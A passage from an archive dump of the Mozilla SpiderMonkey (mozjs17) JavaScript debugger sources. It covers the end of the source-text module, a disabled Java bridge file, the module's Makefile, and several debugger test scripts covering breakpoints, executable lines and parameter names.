JSD_UNLOCK_SOURCE_TEXT(jsdc); return jsdsrc ? JS_TRUE : JS_FALSE; } /***************************************************************************/ void jsd_StartingEvalUsingFilename(JSDContext* jsdc, const char* url) { JSDSourceText* jsdsrc; /* NOTE: We leave it locked! */ JSD_LOCK_SOURCE_TEXT(jsdc); jsdsrc = jsd_FindSourceForURL(jsdc, url); if(jsdsrc) { #if 0 #ifndef JSD_LOWLEVEL_SOURCE JS_ASSERT(! jsdsrc->doingEval); #endif #endif jsdsrc->doingEval = JS_TRUE; } } void jsd_FinishedEvalUsingFilename(JSDContext* jsdc, const char* url) { JSDSourceText* jsdsrc; /* NOTE: We ASSUME it is locked! */ jsdsrc = jsd_FindSourceForURL(jsdc, url); if(jsdsrc) { #if 0 #ifndef JSD_LOWLEVEL_SOURCE /* * when using this low level source addition, this jsdsrc might * not have existed before the eval, but does exist now (without * this flag set!) */ JS_ASSERT(jsdsrc->doingEval); #endif #endif jsdsrc->doingEval = JS_FALSE; } JSD_UNLOCK_SOURCE_TEXT(jsdc); } mozjs17.0.0/js/jsd/jsd_java.c0000664000175000017500000006002012106270662015717 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* this is all going away... replaced by code in js/jsd/java */ #if 0 #include "native.h" #include "jsdebug.h" #include "_gen/netscape_jsdebug_DebugController.h" #include "_gen/netscape_jsdebug_Script.h" #include "_gen/netscape_jsdebug_JSThreadState.h" #include "_gen/netscape_jsdebug_JSStackFrameInfo.h" #include "_gen/netscape_jsdebug_JSPC.h" #include "_gen/netscape_jsdebug_JSSourceTextProvider.h" #include "_gen/netscape_jsdebug_JSErrorReporter.h" static JSDContext* context = 0; static struct Hnetscape_jsdebug_DebugController* controller = 0; /***************************************************************************/ /* helpers */ static JHandle* _constructInteger(ExecEnv *ee, long i) { return (JHandle*) execute_java_constructor(ee, "java/lang/Integer", 0, "(I)", i); } static JHandle* _putHash(ExecEnv *ee, JHandle* tbl, JHandle* key, JHandle* ob) { return (JHandle*) execute_java_dynamic_method( ee, tbl, "put", "(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;", key, ob ); } static JHandle* _getHash(ExecEnv *ee, JHandle* tbl, JHandle* key) { return (JHandle*) execute_java_dynamic_method( ee, tbl, "get", "(Ljava/lang/Object;)Ljava/lang/Object;", key ); } static JHandle* _removeHash(ExecEnv *ee, JHandle* tbl, JHandle* key) { return (JHandle*) execute_java_dynamic_method( ee, tbl, "remove", "(Ljava/lang/Object;)Ljava/lang/Object;", key ); } struct Hnetscape_jsdebug_JSStackFrameInfo* _constructJSStackFrameInfo( ExecEnv* ee, JSDStackFrameInfo* jsdframe, struct Hnetscape_jsdebug_JSThreadState* threadState ) { struct Hnetscape_jsdebug_JSStackFrameInfo* frame; frame = (struct Hnetscape_jsdebug_JSStackFrameInfo*) execute_java_constructor( ee, "netscape/jsdebug/JSStackFrameInfo", 0, "(Lnetscape/jsdebug/JSThreadState;)", threadState ); if( ! frame ) return NULL; /* XXX fill in additional fields */ unhand(frame)->_nativePtr = (long) jsdframe; return frame; } struct Hnetscape_jsdebug_JSPC* _constructJSPC( ExecEnv* ee, struct Hnetscape_jsdebug_Script* script, long pc ) { struct Hnetscape_jsdebug_JSPC * pcOb; pcOb = (struct Hnetscape_jsdebug_JSPC *) execute_java_constructor( ee, "netscape/jsdebug/JSPC", 0, "(Lnetscape/jsdebug/Script;I)", script, pc ); if( ! pcOb ) return NULL; /* XXX fill in additional fields */ return pcOb; } static Hnetscape_jsdebug_Script* _scriptObFromJSDScriptPtr( ExecEnv* ee, JSDScript* jsdscript ) { JHandle* tbl = (JHandle*) unhand(controller)->scriptTable; JHandle* key = _constructInteger(ee,(long)jsdscript); return (Hnetscape_jsdebug_Script*) _getHash( ee, tbl, key ); } /***************************************************************************/ void _scriptHook( JSDContext* jsdc, JSDScript* jsdscript, JSBool creating, void* callerdata ) { Hnetscape_jsdebug_Script* script; ExecEnv* ee = EE(); if( ! context || ! controller || ! ee ) return; if( creating ) { char* url = (char*)JSD_GetScriptFilename (jsdc, jsdscript); JSString* function = JSD_GetScriptFunctionId (jsdc, jsdscript); int base = JSD_GetScriptBaseLineNumber (jsdc, jsdscript); int extent = JSD_GetScriptLineExtent (jsdc, jsdscript); if( ! url ) { return; /* url = ""; */ } /* create Java Object for Script */ script = (Hnetscape_jsdebug_Script*) execute_java_constructor(ee, "netscape/jsdebug/Script", 0, "()"); if( ! script ) return; /* set the members */ unhand(script)->_url = makeJavaString(url,strlen(url)); unhand(script)->_function = function ? makeJavaString(function,strlen(function)) : 0; unhand(script)->_baseLineNumber = base; unhand(script)->_lineExtent = extent; unhand(script)->_nativePtr = (long)jsdscript; /* add it to the hash table */ _putHash( ee, (JHandle*) unhand(controller)->scriptTable, _constructInteger(ee, (long)jsdscript), (JHandle*)script ); /* call the hook */ if( unhand(controller)->scriptHook ) { execute_java_dynamic_method( ee,(JHandle*)unhand(controller)->scriptHook, "justLoadedScript", "(Lnetscape/jsdebug/Script;)V", script ); } } else { JHandle* tbl = (JHandle*) unhand(controller)->scriptTable; JHandle* key = _constructInteger(ee,(long)jsdscript); /* find Java Object for Script */ script = (Hnetscape_jsdebug_Script*) _getHash( ee, tbl, key ); if( ! script ) return; /* remove it from the hash table */ _removeHash( ee, tbl, key ); /* call the hook */ if( unhand(controller)->scriptHook ) { execute_java_dynamic_method( ee,(JHandle*)unhand(controller)->scriptHook, "aboutToUnloadScript", "(Lnetscape/jsdebug/Script;)V", script ); } /* set the Script as invalid */ execute_java_dynamic_method( ee,(JHandle*)script, "_setInvalid", "()V" ); } } /***************************************************************************/ unsigned _executionHook( JSDContext* jsdc, JSDThreadState* jsdstate, unsigned type, void* callerdata ) { Hnetscape_jsdebug_JSThreadState* threadState; Hnetscape_jsdebug_Script* script; JHandle* pcOb; JSDStackFrameInfo* jsdframe; JSDScript* jsdscript; int pc; JHandle* tblScript; JHandle* keyScript; ExecEnv* ee = EE(); if( ! context || ! controller || ! ee ) return JSD_HOOK_RETURN_HOOK_ERROR; /* get the JSDStackFrameInfo */ jsdframe = JSD_GetStackFrame(jsdc, jsdstate); if( ! jsdframe ) return JSD_HOOK_RETURN_HOOK_ERROR; /* get the JSDScript */ jsdscript = JSD_GetScriptForStackFrame(jsdc, jsdstate, jsdframe); if( ! jsdscript ) return JSD_HOOK_RETURN_HOOK_ERROR; /* find Java Object for Script */ tblScript = (JHandle*) unhand(controller)->scriptTable; keyScript = _constructInteger(ee, (long)jsdscript); script = (Hnetscape_jsdebug_Script*) _getHash( ee, tblScript, keyScript ); if( ! script ) return JSD_HOOK_RETURN_HOOK_ERROR; /* generate a JSPC */ pc = JSD_GetPCForStackFrame(jsdc, jsdstate, jsdframe); pcOb = (JHandle*) _constructJSPC(ee, script, pc); if( ! pcOb ) return JSD_HOOK_RETURN_HOOK_ERROR; /* build a JSThreadState */ threadState = (struct Hnetscape_jsdebug_JSThreadState*) execute_java_constructor( ee, "netscape/jsdebug/JSThreadState",0,"()"); if( ! threadState ) return JSD_HOOK_RETURN_HOOK_ERROR; /* populate the ThreadState */ /* XXX FILL IN THE REST... */ unhand(threadState)->valid = 1; /* correct value for true? */ unhand(threadState)->currentFramePtr = (long) jsdframe; unhand(threadState)->nativeThreadState = (long) jsdstate; unhand(threadState)->continueState = netscape_jsdebug_JSThreadState_DEBUG_STATE_RUN; /* XXX FILL IN THE REST... */ /* find and call the appropriate Hook */ if( JSD_HOOK_INTERRUPTED == type ) { JHandle* hook; /* clear the JSD level hook (must reset on next sendInterrupt0()*/ JSD_ClearInterruptHook(context); hook = (JHandle*) unhand(controller)->interruptHook; if( ! hook ) return JSD_HOOK_RETURN_HOOK_ERROR; /* call the hook */ execute_java_dynamic_method( ee, hook, "aboutToExecute", "(Lnetscape/jsdebug/ThreadStateBase;Lnetscape/jsdebug/PC;)V", threadState, pcOb ); } else if( JSD_HOOK_DEBUG_REQUESTED == type ) { JHandle* hook; hook = (JHandle*) unhand(controller)->debugBreakHook; if( ! hook ) return JSD_HOOK_RETURN_HOOK_ERROR; /* call the hook */ execute_java_dynamic_method( ee, hook, "aboutToExecute", "(Lnetscape/jsdebug/ThreadStateBase;Lnetscape/jsdebug/PC;)V", threadState, pcOb ); } else if( JSD_HOOK_BREAKPOINT == type ) { JHandle* hook; hook = (JHandle*) execute_java_dynamic_method( ee,(JHandle*)controller, "getInstructionHook0", "(Lnetscape/jsdebug/PC;)Lnetscape/jsdebug/InstructionHook;", pcOb ); if( ! hook ) return JSD_HOOK_RETURN_HOOK_ERROR; /* call the hook */ execute_java_dynamic_method( ee, hook, "aboutToExecute", "(Lnetscape/jsdebug/ThreadStateBase;)V", threadState ); } if( netscape_jsdebug_JSThreadState_DEBUG_STATE_THROW == unhand(threadState)->continueState ) return JSD_HOOK_RETURN_ABORT; return JSD_HOOK_RETURN_CONTINUE; } unsigned _errorReporter( JSDContext* jsdc, JSContext* cx, const char* message, JSErrorReport* report, void* callerdata ) { JHandle* reporter; JHandle* msg = NULL; JHandle* filename = NULL; int lineno = 0; JHandle* linebuf = NULL; int tokenOffset = 0; ExecEnv* ee = EE(); if( ! context || ! controller || ! ee ) return JSD_ERROR_REPORTER_PASS_ALONG; reporter = (JHandle*) unhand(controller)->errorReporter; if( ! reporter ) return JSD_ERROR_REPORTER_PASS_ALONG; if( message ) msg = (JHandle*) makeJavaString((char*)message, strlen(message)); if( report && report->filename ) filename = (JHandle*) makeJavaString((char*)report->filename, strlen(report->filename)); if( report && report->linebuf ) linebuf = (JHandle*) makeJavaString((char*)report->linebuf, strlen(report->linebuf)); if( report ) lineno = report->lineno; if( report && report->linebuf && report->tokenptr ) tokenOffset = report->tokenptr - report->linebuf; return (int) execute_java_dynamic_method( ee, reporter, "reportError", "(Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;I)I", msg, filename, lineno, linebuf, tokenOffset ); } /***************************************************************************/ /* from "_gen\netscape_jsdebug_DebugController.h" */ /* XXX HACK */ JSDContext* _simContext = 0; void netscape_jsdebug_DebugController__setController(struct Hnetscape_jsdebug_DebugController * self,/*boolean*/ long on) { if(on) { context = JSD_DebuggerOn(); if( ! context ) return; _simContext = context; /* XXX HACK */ unhand(self)->_nativeContext = (long) context; controller = self; JSD_SetScriptHook(context, _scriptHook, (void*)1 ); JSD_SetErrorReporter(context, _errorReporter, (void*)1 ); JSD_SetDebugBreakHook(context, _executionHook, (void*)1 ); } else { /* XXX stop somehow... */ /* kill context */ JSD_SetDebugBreakHook(context, NULL, NULL ); JSD_SetErrorReporter(context, NULL, NULL); JSD_SetScriptHook(context, NULL, NULL); context = 0; controller = 0; } } void netscape_jsdebug_DebugController_setInstructionHook0(struct Hnetscape_jsdebug_DebugController * self,struct Hnetscape_jsdebug_PC * pcOb) { Hnetscape_jsdebug_Script* script; JSDScript* jsdscript; unsigned pc; ExecEnv* ee = EE(); if( ! context || ! controller || ! ee ) return; script = (Hnetscape_jsdebug_Script*) execute_java_dynamic_method(ee, (JHandle*)pcOb, "getScript","()Lnetscape/jsdebug/Script;"); if( ! script ) return; jsdscript = (JSDScript*) unhand(script)->_nativePtr; if( ! jsdscript ) return; pc = (unsigned) execute_java_dynamic_method(ee, (JHandle*)pcOb, "getPC","()I"); JSD_SetExecutionHook(context, jsdscript, pc, _executionHook, 0); } void netscape_jsdebug_DebugController_sendInterrupt0(struct Hnetscape_jsdebug_DebugController * self) { if( ! context || ! controller ) return; JSD_SetInterruptHook(context, _executionHook, 0); } struct Hjava_lang_String *netscape_jsdebug_DebugController_executeScriptInStackFrame0(struct Hnetscape_jsdebug_DebugController *self,struct Hnetscape_jsdebug_JSStackFrameInfo *frame,struct Hjava_lang_String *src,struct Hjava_lang_String *filename,long lineno) { struct Hnetscape_jsdebug_JSThreadState* threadStateOb; JSDThreadState* jsdthreadstate; JSDStackFrameInfo* jsdframe; char* filenameC; char* srcC; JSString* jsstr; jsval rval; JSBool success; int srclen; threadStateOb = (struct Hnetscape_jsdebug_JSThreadState*)unhand(frame)->threadState; jsdthreadstate = (JSDThreadState*) unhand(threadStateOb)->nativeThreadState; jsdframe = (JSDStackFrameInfo*) unhand(frame)->_nativePtr; if( ! context || ! controller || ! jsdframe ) return NULL; filenameC = allocCString(filename); if( ! filenameC ) return NULL; srcC = allocCString(src); if( ! srcC ) { free(filenameC); return NULL; } srclen = strlen(srcC); success = JSD_EvaluateScriptInStackFrame(context, jsdthreadstate, jsdframe, srcC, srclen, filenameC, lineno, &rval); /* XXX crashing on Windows under Symantec (though I can't see why!)*/ free(filenameC); free(srcC); if( ! success ) return NULL; if( JSVAL_IS_NULL(rval) || JSVAL_IS_VOID(rval) ) return NULL; jsstr = JSD_ValToStringInStackFrame(context,jsdthreadstate,jsdframe,rval); if( ! jsstr ) return NULL; /* XXXbe should use JS_GetStringChars and preserve Unicode. */ return makeJavaString((char*)JS_GetStringBytes(jsstr), JS_GetStringLength(jsstr)); } long netscape_jsdebug_DebugController_getNativeMajorVersion(struct Hnetscape_jsdebug_DebugController* self) { return (long) JSD_GetMajorVersion(); } long netscape_jsdebug_DebugController_getNativeMinorVersion(struct Hnetscape_jsdebug_DebugController* self) { return (long) JSD_GetMinorVersion(); } /***************************************************************************/ /* from "_gen\netscape_jsdebug_Script.h" */ struct Hnetscape_jsdebug_JSPC *netscape_jsdebug_Script_getClosestPC(struct Hnetscape_jsdebug_Script * self,long line) { unsigned pc; JSDScript* jsdscript; if( ! context || ! controller ) return 0; jsdscript = (JSDScript*) unhand(self)->_nativePtr; if( ! jsdscript ) return 0; pc = JSD_GetClosestPC(context, jsdscript, line); if( -1 == pc ) return 0; return _constructJSPC( 0, self, pc); } /***************************************************************************/ /* from "_gen\netscape_jsdebug_JSThreadState.h" */ long netscape_jsdebug_JSThreadState_countStackFrames(struct Hnetscape_jsdebug_JSThreadState * self) { JSDThreadState* jsdstate; if( ! context || ! controller ) return 0; jsdstate = (JSDThreadState*) unhand(self)->nativeThreadState; if( ! jsdstate ) return 0; return (long) JSD_GetCountOfStackFrames(context, jsdstate); } struct Hnetscape_jsdebug_StackFrameInfo *netscape_jsdebug_JSThreadState_getCurrentFrame(struct Hnetscape_jsdebug_JSThreadState * self) { JSDThreadState* jsdstate; JSDStackFrameInfo* jsdframe; if( ! context || ! controller ) return NULL; jsdstate = (JSDThreadState*) unhand(self)->nativeThreadState; if( ! jsdstate ) return NULL; jsdframe = JSD_GetStackFrame(context, jsdstate); if( ! jsdframe ) return NULL; return (struct Hnetscape_jsdebug_StackFrameInfo*) _constructJSStackFrameInfo( 0, jsdframe, self ); } /***************************************************************************/ /* from "_gen\netscape_jsdebug_JSStackFrameInfo.h" */ struct Hnetscape_jsdebug_StackFrameInfo *netscape_jsdebug_JSStackFrameInfo_getCaller0(struct Hnetscape_jsdebug_JSStackFrameInfo * self) { JSDStackFrameInfo* jsdframeCur; JSDStackFrameInfo* jsdframeCaller; struct Hnetscape_jsdebug_JSThreadState* threadState; JSDThreadState* jsdthreadstate; if( ! context || ! controller ) return NULL; jsdframeCur = (JSDStackFrameInfo*) unhand(self)->_nativePtr; if( ! jsdframeCur ) return NULL; threadState = (struct Hnetscape_jsdebug_JSThreadState*) unhand(self)->threadState; if( ! threadState ) return NULL; jsdthreadstate = (JSDThreadState*) unhand(threadState)->nativeThreadState; if( ! jsdthreadstate ) return NULL; jsdframeCaller = JSD_GetCallingStackFrame(context, jsdthreadstate, jsdframeCur); if( ! jsdframeCaller ) return NULL; return (struct Hnetscape_jsdebug_StackFrameInfo*) _constructJSStackFrameInfo( 0, jsdframeCaller, threadState ); } struct Hnetscape_jsdebug_PC *netscape_jsdebug_JSStackFrameInfo_getPC(struct Hnetscape_jsdebug_JSStackFrameInfo * self) { JSDScript* jsdscript; JSDStackFrameInfo* jsdframe; struct Hnetscape_jsdebug_Script* script; struct Hnetscape_jsdebug_JSThreadState* threadState; JSDThreadState* jsdthreadstate; int pc; ExecEnv* ee = EE(); if( ! context || ! controller || ! ee ) return NULL; jsdframe = (JSDStackFrameInfo*) unhand(self)->_nativePtr; if( ! jsdframe ) return NULL; threadState = (struct Hnetscape_jsdebug_JSThreadState*) unhand(self)->threadState; if( ! threadState ) return NULL; jsdthreadstate = (JSDThreadState*) unhand(threadState)->nativeThreadState; if( ! jsdthreadstate ) return NULL; jsdscript = JSD_GetScriptForStackFrame(context, jsdthreadstate, jsdframe ); if( ! jsdscript ) return NULL; script = _scriptObFromJSDScriptPtr(ee, jsdscript); if( ! script ) return NULL; pc = JSD_GetPCForStackFrame(context, jsdthreadstate, jsdframe); if( ! pc ) return NULL; return (struct Hnetscape_jsdebug_PC*) _constructJSPC(ee, script, pc); } /***************************************************************************/ /* from "_gen\netscape_jsdebug_JSPC.h" */ struct Hnetscape_jsdebug_SourceLocation *netscape_jsdebug_JSPC_getSourceLocation(struct Hnetscape_jsdebug_JSPC * self) { JSDScript* jsdscript; struct Hnetscape_jsdebug_Script* script; struct Hnetscape_jsdebug_JSPC* newPCOb; int line; int newpc; int pc; ExecEnv* ee = EE(); if( ! context || ! controller || ! ee ) return NULL; script = unhand(self)->script; if( ! script ) return NULL; jsdscript = (JSDScript*) unhand(script)->_nativePtr; if( ! jsdscript ) return NULL; pc = unhand(self)->pc; line = JSD_GetClosestLine(context, jsdscript, pc); newpc = JSD_GetClosestPC(context, jsdscript, line); newPCOb = _constructJSPC(ee, script, newpc ); if( ! newPCOb ) return NULL; return (struct Hnetscape_jsdebug_SourceLocation *) execute_java_constructor( ee, "netscape/jsdebug/JSSourceLocation", 0, "(Lnetscape/jsdebug/JSPC;I)", newPCOb, line ); } /***************************************************************************/ /* from "_gen\netscape_jsdebug_JSSourceTextProvider.h" */ struct Hnetscape_jsdebug_SourceTextItem *netscape_jsdebug_JSSourceTextProvider_loadSourceTextItem0(struct Hnetscape_jsdebug_JSSourceTextProvider * self,struct Hjava_lang_String * url) { /* this should attempt to load the source for the indicated URL */ return NULL; } void netscape_jsdebug_JSSourceTextProvider_refreshSourceTextVector(struct Hnetscape_jsdebug_JSSourceTextProvider * self) { JHandle* vec; JHandle* itemOb; JSDSourceText* iterp = 0; JSDSourceText* item; const char* url; struct Hjava_lang_String* urlOb; ExecEnv* ee = EE(); if( ! context || ! controller || ! ee ) return; /* create new vector */ vec = (JHandle*) execute_java_constructor(ee, "netscape/util/Vector", 0, "()"); if( ! vec ) return; /* lock the native subsystem */ JSD_LockSourceTextSubsystem(context); /* iterate through the native items */ while( 0 != (item = JSD_IterateSources(context, &iterp)) ) { int urlStrLen; int status = JSD_GetSourceStatus(context,item); /* try to find Java object */ url = JSD_GetSourceURL(context, item); if( ! url || 0 == (urlStrLen = strlen(url)) ) /* ignoring those with no url */ continue; urlOb = makeJavaString((char*)url,urlStrLen); if( ! urlOb ) continue; itemOb = (JHandle*) execute_java_dynamic_method( ee, (JHandle*)self, "findSourceTextItem0", "(Ljava/lang/String;)Lnetscape/jsdebug/SourceTextItem;", urlOb ); if( ! itemOb ) { /* if not found then generate new item */ struct Hjava_lang_String* textOb; const char* str; int length; if( ! JSD_GetSourceText(context, item, &str, &length ) ) { str = ""; length = 0; } textOb = makeJavaString((char*)str, length); itemOb = (JHandle*) execute_java_constructor(ee, "netscape/jsdebug/SourceTextItem",0, "(Ljava/lang/String;Ljava/lang/String;I)", urlOb, textOb, status ); } else if( JSD_IsSourceDirty(context, item) && JSD_SOURCE_CLEARED != status ) { /* if found and dirty then update */ struct Hjava_lang_String* textOb; const char* str; int length; if( ! JSD_GetSourceText(context, item, &str, &length ) ) { str = ""; length = 0; } textOb = makeJavaString((char*)str, length); execute_java_dynamic_method(ee, itemOb, "setText", "(Ljava/lang/String;)V", textOb); execute_java_dynamic_method(ee, itemOb, "setStatus", "(I)V", status ); execute_java_dynamic_method(ee, itemOb, "setDirty", "(Z)V", 1 ); } /* we have our copy; clear the native cached text */ if( JSD_SOURCE_INITED != status && JSD_SOURCE_PARTIAL != status && JSD_SOURCE_CLEARED != status ) { JSD_ClearSourceText(context, item); } /* set the item clean */ JSD_SetSourceDirty(context, item, FALSE ); /* add the item to the vector */ if( itemOb ) execute_java_dynamic_method(ee, vec, "addElement", "(Ljava/lang/Object;)V", itemOb ); } /* unlock the native subsystem */ JSD_UnlockSourceTextSubsystem(context); /* set main vector to our new vector */ unhand(self)->_sourceTextVector = (struct Hnetscape_util_Vector*) vec; } #endif mozjs17.0.0/js/jsd/Makefile.in0000664000175000017500000000174312106270662016046 0ustar sstanglsstangl#!gmake # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. DEPTH = @DEPTH@ topsrcdir = @top_srcdir@ VPATH = @srcdir@ srcdir = @srcdir@ relativesrcdir = @relativesrcdir@ include $(DEPTH)/config/autoconf.mk MODULE = jsdebug LIBRARY_NAME = jsd DIRS = idl CPPSRCS = \ jsd_xpc.cpp \ jshash.cpp IS_COMPONENT = 1 LIBXUL_LIBRARY = 1 MODULE_NAME = JavaScript_Debugger EXPORT_LIBRARY = 1 XPCSHELL_TESTS = test # REQUIRES = java js EXPORTS = jsdebug.h ifdef JS_THREADSAFE DEFINES += -DJS_THREADSAFE endif CSRCS = \ jsdebug.c \ jsd_atom.c \ jsd_high.c \ jsd_hook.c \ jsd_lock.c \ jsd_obj.c \ jsd_scpt.c \ jsd_stak.c \ jsd_step.c \ jsd_text.c \ jsd_val.c \ $(NULL) ifdef ENABLE_TESTS TOOL_DIRS += test endif include $(topsrcdir)/config/rules.mk DEFINES += -DEXPORT_JSD_API mozjs17.0.0/js/jsd/test/0000775000175000017500000000000012106270662014753 5ustar sstanglsstanglmozjs17.0.0/js/jsd/test/bug507448.js0000664000175000017500000000167212106270662016570 0ustar sstanglsstanglnetscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); function f() {} function g(a,b) {} function h(me, too, here) { var x = 1; } function annoying(a, b, a, b, b, a) {} function manyLocals(a, b, c, d, e, f, g, h, i, j, k, l, m) { var n, o, p, q, r, s, t, u, v, w, x, y, z; } assertArraysEqual(jsd.wrapValue(f).script.getParameterNames(), []); assertArraysEqual(jsd.wrapValue(g).script.getParameterNames(), ["a", "b"]); assertArraysEqual(jsd.wrapValue(h).script.getParameterNames(), ["me", "too", "here"]); assertArraysEqual(jsd.wrapValue(annoying).script.getParameterNames(), ["a", "b", "a", "b", "b", "a"]); assertArraysEqual(jsd.wrapValue(manyLocals).script.getParameterNames(), "abcdefghijklm".split("")); if (!jsdOnAtStart) { // turn JSD off if it wasn't on when this test started jsd.off(); ok(!jsd.isOn, "JSD shouldn't be running at the end of this test."); } SimpleTest.finish();mozjs17.0.0/js/jsd/test/test-bug638178-execlines.js0000664000175000017500000000511612106270662021524 0ustar sstanglsstanglnetscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); var jsdIScript = Components.interfaces.jsdIScript; function f1() { var x; } function f2() { var x; var y; x = 1; } function f3() { var x; var y; var y2; y = 1; var z; } var jsdIFilter = Components.interfaces.jsdIFilter; function testJSD(jsd) { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); ok(jsd.isOn, "JSD needs to be running for this test."); jsd.functionHook = ({ onCall: function(frame, type) { //console.log("Got " + type); console.log("Got " + frame.script.fileName); } }); console.log("Triggering functions"); f1(); f2(); f3(); console.log("Done with functions"); var linemap = {}; var firsts = {}; var rests = {}; var startlines = {}; jsd.enumerateScripts({ enumerateScript: function(script) { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); if (/execlines\.js$/.test(script.fileName)) { console.log("script: " + script.fileName + " " + script.functionName); var execLines = script.getExecutableLines(jsdIScript.PCMAP_SOURCETEXT, 0, 10000); console.log(execLines.toSource()); linemap[script.functionName] = execLines; startlines[script.functionName] = script.baseLineNumber; execLines = script.getExecutableLines(jsdIScript.PCMAP_SOURCETEXT, 0, 1); firsts[script.functionName] = execLines; execLines = script.getExecutableLines(jsdIScript.PCMAP_SOURCETEXT, execLines[0]+1, 10000); rests[script.functionName] = execLines; } } }); var checklines = function (funcname, linemap, rellines) { var base = startlines[funcname]; var b = []; for (var i = 0; i < rellines.length; ++i) { b[i] = rellines[i] + base; } is(linemap[funcname].toSource(), b.toSource(), funcname + " lines"); }; checklines('f1', linemap, [ 1 ]); checklines('f2', linemap, [ 3 ]); checklines('f3', linemap, [ 3, 5, 6 ]); checklines('f1', firsts, [ 1 ]); checklines('f1', rests, []); checklines('f3', firsts, [ 3 ]); checklines('f3', rests, [ 5, 6 ]); jsd.functionHook = null; if (!jsdOnAtStart) { // turn JSD off if it wasn't on when this test started jsd.off(); ok(!jsd.isOn, "JSD shouldn't be running at the end of this test."); } SimpleTest.finish(); } testJSD(jsd); mozjs17.0.0/js/jsd/test/test_jsval_retval.js0000664000175000017500000000262512106270662021051 0ustar sstanglsstangl// Bug 689101 - if the binary layout of jsval does not match between C and C++ // code, then calls to functions returning jsval may get compiled differently // than the callee, resulting in parameters being shifted over by one. // // An example is where on Windows, calling jsdValue.getWrappedValue() will // return a random floating point number instead of an object. // // This test must be run with debugging already enabled function run_test() { const Cc = Components.classes; const Ci = Components.interfaces; const DebuggerService = Cc["@mozilla.org/js/jsd/debugger-service;1"]; const jsdIDebuggerService = Ci.jsdIDebuggerService; var jsd = DebuggerService.getService(jsdIDebuggerService); do_check_true(jsd.isOn); var n = 0; function f() { n++; } jsd.enumerateScripts({ enumerateScript: function(script) { script.setBreakpoint(0); } }); jsd.breakpointHook = function(frame, type, dummy) { var scope = frame.scope; var parent = scope.jsParent; // Probably does not need to be called var wrapped = scope.getWrappedValue(); // Do not try to print 'wrapped'; it may be an internal Call object // that will crash when you toString it. Different bug. do_check_eq(typeof(wrapped), "object"); return Ci.jsdIExecutionHook.RETURN_CONTINUE; }; f(); jsd.breakpointHook = null; jsd = null; } mozjs17.0.0/js/jsd/test/test_bug638178-execlines.html0000664000175000017500000000251712106270662022140 0ustar sstanglsstangl JSD Test for Bug AUTOFILLED

mozjs17.0.0/js/jsd/test/test_bug507448.html0000664000175000017500000000653512106270662020162 0ustar sstanglsstangl Test for Bug 507448 Mozilla Bug 507448




mozjs17.0.0/js/jsd/test/jsd-test.js0000664000175000017500000000733012106270662017051 0ustar sstanglsstanglnetscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); const Cc = Components.classes; const Ci = Components.interfaces; const RETURN_CONTINUE = Ci.jsdIExecutionHook.RETURN_CONTINUE; const DebuggerService = Cc["@mozilla.org/js/jsd/debugger-service;1"]; var jsd = Components.classes['@mozilla.org/js/jsd/debugger-service;1'] .getService(Ci.jsdIDebuggerService); var jsdOnAtStart = false; function setupJSD(test) { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); jsdOnAtStart = jsd.isOn; if (jsdOnAtStart) { runTest(); } else { jsd.asyncOn({ onDebuggerActivated: function() { runTest(); } }); } } // Ugly workaround: when you turn the debugger on, it will only see scripts // compiled after that point. And it may be turned on asynchronously. So // we put the debugged code into a separate script that gets loaded after // the debugger is on. function loadScript(url, element) { var script = document.createElement('script'); script.type = 'text/javascript'; script.src = url; script.defer = false; element.appendChild(script); } function findScriptByFunction(name) { var script; jsd.enumerateScripts({ enumerateScript: function(script_) { if (script_.functionName === name) { script = script_; } } }); if (typeof(script) === "undefined") { throw("Cannot find function named '" + name + "'"); } return script; } // Pass in a JSD script function breakOnAllLines(script) { // Map each line to a PC, and collect that set of PCs (removing // duplicates.) var pcs = {}; for (i = 0; i < script.lineExtent; i++) { var jsdLine = script.baseLineNumber + i; var pc = script.lineToPc(jsdLine, Ci.jsdIScript.PCMAP_SOURCETEXT); pcs[pc] = 1; } // Set a breakpoint on each of those PCs. for (pc in pcs) { try { script.setBreakpoint(pc); } catch(e) { alert("Error setting breakpoint: " + e); } } } // Set a breakpoint on a script, where lineno is relative to the beginning // of the script (NOT the absolute line number within the file). function breakOnLine(script, lineno) { breakOnAbsoluteLine(script, script.baseLineNumber + lineno); } function breakOnAbsoluteLine(script, lineno) { var pc = script.lineToPc(lineno, Ci.jsdIScript.PCMAP_SOURCETEXT); script.setBreakpoint(pc); } function loadPage(page) { var url; if (page.match(/^\w+:/)) { // Full URI, so just use it url = page; } else { // Treat as relative to previous page url = document.location.href.replace(/\/[^\/]*$/, "/" + page); } dump("Switching to URL " + url + "\n"); gURLBar.value = url; gURLBar.handleCommand(); } function breakpointObserver(lines, interesting, callback) { jsd.breakpointHook = { onExecute: function(frame, type, rv) { breakpoints_hit.push(frame.line); if (frame.line in interesting) { return callback(frame, type, breakpoints_hit); } else { return RETURN_CONTINUE; } } }; } function dumpStack(frame, msg) { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); dump(msg + ":\n"); while(frame) { var callee = frame.callee; if (callee !== null) callee = callee.jsClassName; dump(" " + frame.script.fileName + ":" + frame.line + " func=" + frame.script.functionName + " ffunc=" + frame.functionName + " callee=" + callee + " pc=" + frame.pc + "\n"); frame = frame.callingFrame; } } mozjs17.0.0/js/jsd/test/test_evalCached.js0000664000175000017500000000130612106270662020367 0ustar sstanglsstangl// This test must be run with debugging already enabled function run_test() { const Cc = Components.classes; const Ci = Components.interfaces; const DebuggerService = Cc["@mozilla.org/js/jsd/debugger-service;1"]; const jsdIDebuggerService = Ci.jsdIDebuggerService; var jsd = DebuggerService.getService(jsdIDebuggerService); do_check_true(jsd.isOn); jsd.scriptHook = { onScriptCreated: function(script) { // Just the presence of this will trigger the script to be handed // to JSD and trigger the crash }, 